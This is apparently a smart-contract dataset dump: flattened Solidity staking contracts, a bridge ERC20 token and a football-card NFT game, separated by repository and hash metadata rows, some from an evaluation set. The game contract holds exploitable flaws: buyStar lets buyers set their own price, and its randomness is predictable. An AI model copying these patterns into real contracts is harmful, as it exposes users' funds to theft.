function rebase(uint256 maxiProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract Staking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable MAXI;
address public immutable sMAXI;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _MAXI,
address _sMAXI,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_MAXI != address(0));
MAXI = _MAXI;
require(_sMAXI != address(0));
sMAXI = _sMAXI;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(MAXI).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsMAXI(sMAXI).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sMAXI).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsMAXI(sMAXI).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsMAXI(sMAXI).balanceForGons(info.gons));
IERC20(MAXI).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sMAXI).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(MAXI).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsMAXI(sMAXI).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IsMAXI(sMAXI).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsMAXI(sMAXI).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(MAXI).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sMAXI).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sMAXI).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 76,982 | 1,722 |
77cbf9dc8312855d501d5b430be8a26cff86a2e3dd77f0bb2535e59b0959b3a6
| 18,828 |
.sol
|
Solidity
| false |
481422385
|
helix-bridge/contracts
|
9502f23dac3178911f8211f4dde3160ec97c7a6d
|
helix-contract/flatten/sub2sub/Erc20.sol
| 2,582 | 9,690 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
// File @zeppelin-solidity/contracts/utils/[email protected]
// License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @zeppelin-solidity/contracts/access/[email protected]
// License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @zeppelin-solidity/contracts/token/ERC20/[email protected]
// License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
// File @zeppelin-solidity/contracts/utils/math/[email protected]
// License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File contracts/mapping-token/v2/erc20-mapping-protocol/Erc20.sol
// License-Identifier: MIT
contract Erc20 is IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string public name;
string public symbol;
uint8 public decimals;
constructor(string memory _name, string memory _symbol, uint8 _decimals) {
name = _name;
symbol = _symbol;
decimals = _decimals;
_transferOwnership(_msgSender());
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// only factory contract can mint with the lock proof from ethereum
function mint(address account, uint256 amount) external onlyOwner {
_mint(account, amount);
}
function burn(address account, uint256 amount) external {
if (account != msg.sender && owner() != msg.sender && _allowances[account][msg.sender] != type(uint256).max) {
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount, "ERC20: decreased allowance below zero"));
}
_burn(account, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 235,542 | 1,723 |
2fa103439abc198e5af88a5b8e65194999468e1350b167c63fbcce10bd8a4f85
| 13,385 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xf213d198b68b10654c63a9ed05a045e1d4a50f9f.sol
| 3,150 | 11,160 |
pragma solidity ^0.4.17;
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <[email protected]> (https://github.com/dete)
contract ERC721 {
// Required methods
function implementsERC721() public pure returns (bool);
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) public;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
// Events
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
// ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165)
// function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract FootballerAccessControl{
///@dev Emited when contract is upgraded
event ContractUpgrade(address newContract);
//The address of manager (the account or contracts) that can execute action within the role.
address public managerAddress;
///@dev keeps track whether the contract is paused.
bool public paused = false;
function FootballerAccessControl() public {
managerAddress = msg.sender;
}
/// @dev Access modifier for manager-only functionality
modifier onlyManager() {
require(msg.sender == managerAddress);
_;
}
///@dev assigns a new address to act as the Manager.Only available to the current Manager.
function setManager(address _newManager) external onlyManager {
require(_newManager != address(0));
managerAddress = _newManager;
}
/// @dev Modifier to allow actions only when the contract IS NOT paused
modifier whenNotPaused() {
require(!paused);
_;
}
/// @dev Modifier to allow actions only when the contract IS paused
modifier whenPaused {
require(paused);
_;
}
/// @dev Called by manager to pause the contract. Used only when
/// a bug or exploit is detected and we need to limit damage.
function pause() external onlyManager whenNotPaused {
paused = true;
}
/// @dev Unpauses the smart contract. Can only be called by the manager,
/// since one reason we may pause the contract is when manager accounts are compromised.
/// @notice This is public rather than external so it can be called by derived contracts.
function unpause() public onlyManager {
// can't unpause if contract was upgraded
paused = false;
}
}
contract FootballerBase is FootballerAccessControl {
using SafeMath for uint256;
event Create(address owner, uint footballerId);
event Transfer(address _from, address _to, uint256 tokenId);
uint private randNonce = 0;
///
struct footballer {
uint price; //- - wei
//
uint defend; //
uint attack; //
uint quality; //
}
//
footballer[] public footballers;
//id
mapping (uint256 => address) public footballerToOwner;
//balanceOf
mapping (address => uint256) public ownershipTokenCount;
//footballID transferFrom
//
mapping (uint256 => address) public footballerToApproved;
//
function _transfer(address _from, address _to, uint256 _tokenId) internal {
footballerToApproved[_tokenId] = address(0);
ownershipTokenCount[_to] = ownershipTokenCount[_to].add(1);
footballerToOwner[_tokenId] = _to;
ownershipTokenCount[_from] = ownershipTokenCount[_from].sub(1);
emit Transfer(_from, _to, _tokenId);
}
//,createStar
function _createFootballerStar(uint _price,uint _defend,uint _attack, uint _quality) internal onlyManager returns(uint) {
footballer memory _player = footballer({
price:_price,
defend:_defend,
attack:_attack,
quality:_quality
});
uint newFootballerId = footballers.push(_player) - 1;
footballerToOwner[newFootballerId] = managerAddress;
ownershipTokenCount[managerAddress] = ownershipTokenCount[managerAddress].add(1);
//
footballerToApproved[newFootballerId] = managerAddress;
require(newFootballerId == uint256(uint32(newFootballerId)));
emit Create(managerAddress, newFootballerId);
return newFootballerId;
}
//
function createFootballer () internal returns (uint) {
footballer memory _player = footballer({
price: 0,
defend: _randMod(20,80),
attack: _randMod(20,80),
quality: _randMod(20,80)
});
uint newFootballerId = footballers.push(_player) - 1;
// require(newFootballerId == uint256(uint32(newFootballerId)));
footballerToOwner[newFootballerId] = msg.sender;
ownershipTokenCount[msg.sender] =ownershipTokenCount[msg.sender].add(1);
emit Create(msg.sender, newFootballerId);
return newFootballerId;
}
// _min _max _max
function _randMod(uint _min, uint _max) private returns(uint) {
randNonce++;
uint modulus = _max - _min;
return uint(keccak256(now, msg.sender, randNonce)) % modulus + _min;
}
}
contract FootballerOwnership is FootballerBase, ERC721 {
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant name = "CyptoWorldCup";
string public constant symbol = "CWC";
function implementsERC721() public pure returns (bool) {
return true;
}
//
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return footballerToOwner[_tokenId] == _claimant;
}
// transferApproval
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return footballerToApproved[_tokenId] == _claimant;
}
// transfer
function _approve(uint256 _tokenId, address _approved) internal {
footballerToApproved[_tokenId] = _approved;
}
// owner
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
//
function transfer(address _to, uint256 _tokenId) public whenNotPaused {
require(_to != address(0));
require(_to != address(this));
//send
require(_owns(msg.sender, _tokenId));
// approvals
_transfer(msg.sender, _to, _tokenId);
}
//transferFrom
function approve(address _to, uint256 _tokenId) external whenNotPaused {
//
require(_owns(msg.sender, _tokenId));
_approve(_tokenId, _to);
emit Approval(msg.sender, _to, _tokenId);
}
//
function transferFrom(address _from, address _to, uint256 _tokenId) external whenNotPaused {
require(_to != address(0));
//
//
require(_to != address(this));
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
//FootballerBase
_transfer(_from, _to, _tokenId);
}
//+
function totalSupply() public view returns (uint) {
return footballers.length;
}
//
function ownerOf(uint256 _tokenId) external view returns (address owner) {
owner = footballerToOwner[_tokenId];
require(owner != address(0));
}
//id
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if(tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalpalyers = totalSupply();
uint256 resultIndex = 0;
uint256 footballerId;
for (footballerId = 0; footballerId < totalpalyers; footballerId++) {
if(footballerToOwner[footballerId] == _owner) {
result[resultIndex] = footballerId;
resultIndex++;
}
}
return result;
}
}
}
contract FootballerAction is FootballerOwnership {
//
function createFootballerStar(uint _price,uint _defend,uint _attack, uint _quality) public returns(uint) {
return _createFootballerStar(_price,_defend,_attack,_quality);
}
//
function CardFootballers() public payable returns (uint) {
uint price = 4000000000000 wei; //0.04 eth
require(msg.value >= price);
uint ballerCount = 14;
uint newFootballerId = 0;
for (uint i = 0; i < ballerCount; i++) {
newFootballerId = createFootballer();
}
managerAddress.transfer(msg.value);
return price;
}
function buyStar(uint footballerId,uint price) public payable {
require(msg.value >= price);
//
address holder = footballerToApproved[footballerId];
require(holder != address(0));
_transfer(holder,msg.sender,footballerId);
//
holder.transfer(msg.value);
}
//
function sell(uint footballerId,uint price) public returns(uint) {
require(footballerToOwner[footballerId] == msg.sender);
require(footballerToApproved[footballerId] == address(0));
footballerToApproved[footballerId] = msg.sender;
footballers[footballerId].price = price;
}
//
function getTeamBallers(address actor) public view returns (uint[]) {
uint len = footballers.length;
uint count=0;
for(uint i = 0; i < len; i++) {
if(_owns(actor, i)){
if(footballerToApproved[i] == address(0)){
count++;
}
}
}
uint[] memory res = new uint256[](count);
uint index = 0;
for(i = 0; i < len; i++) {
if(_owns(actor, i)){
if(footballerToApproved[i] == address(0)){
res[index] = i;
index++;
}
}
}
return res;
}
//+
function getSellBallers() public view returns (uint[]) {
uint len = footballers.length;
uint count = 0;
for(uint i = 0; i < len; i++) {
if(footballerToApproved[i] != address(0)){
count++;
}
}
uint[] memory res = new uint256[](count);
uint index = 0;
for(i = 0; i < len; i++) {
if(footballerToApproved[i] != address(0)){
res[index] = i;
index++;
}
}
return res;
}
//+
function getAllBaller() public view returns (uint) {
uint len = totalSupply();
return len;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 223,385 | 1,724 |
3b1485f7b7f526e95090ebcda0af68f19e377f9686edf6c72ad24f67bbd16c25
| 27,678 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/80/80f75237559aCB7B9A0f09a2a54509E328D4f715_DiamondbankStaking.sol
| 4,252 | 17,072 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IDb {
function rebase(uint256 dbProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract DiamondbankStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Db;
address public immutable sDb;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Db,
address _sDb,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Db != address(0));
Db = _Db;
require(_sDb != address(0));
sDb = _sDb;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Db).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IDb(sDb).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sDb).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IDb(sDb).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IDb(sDb).balanceForGons(info.gons));
IERC20(Db).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sDb).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Db).safeTransfer(msg.sender, _amount);
}
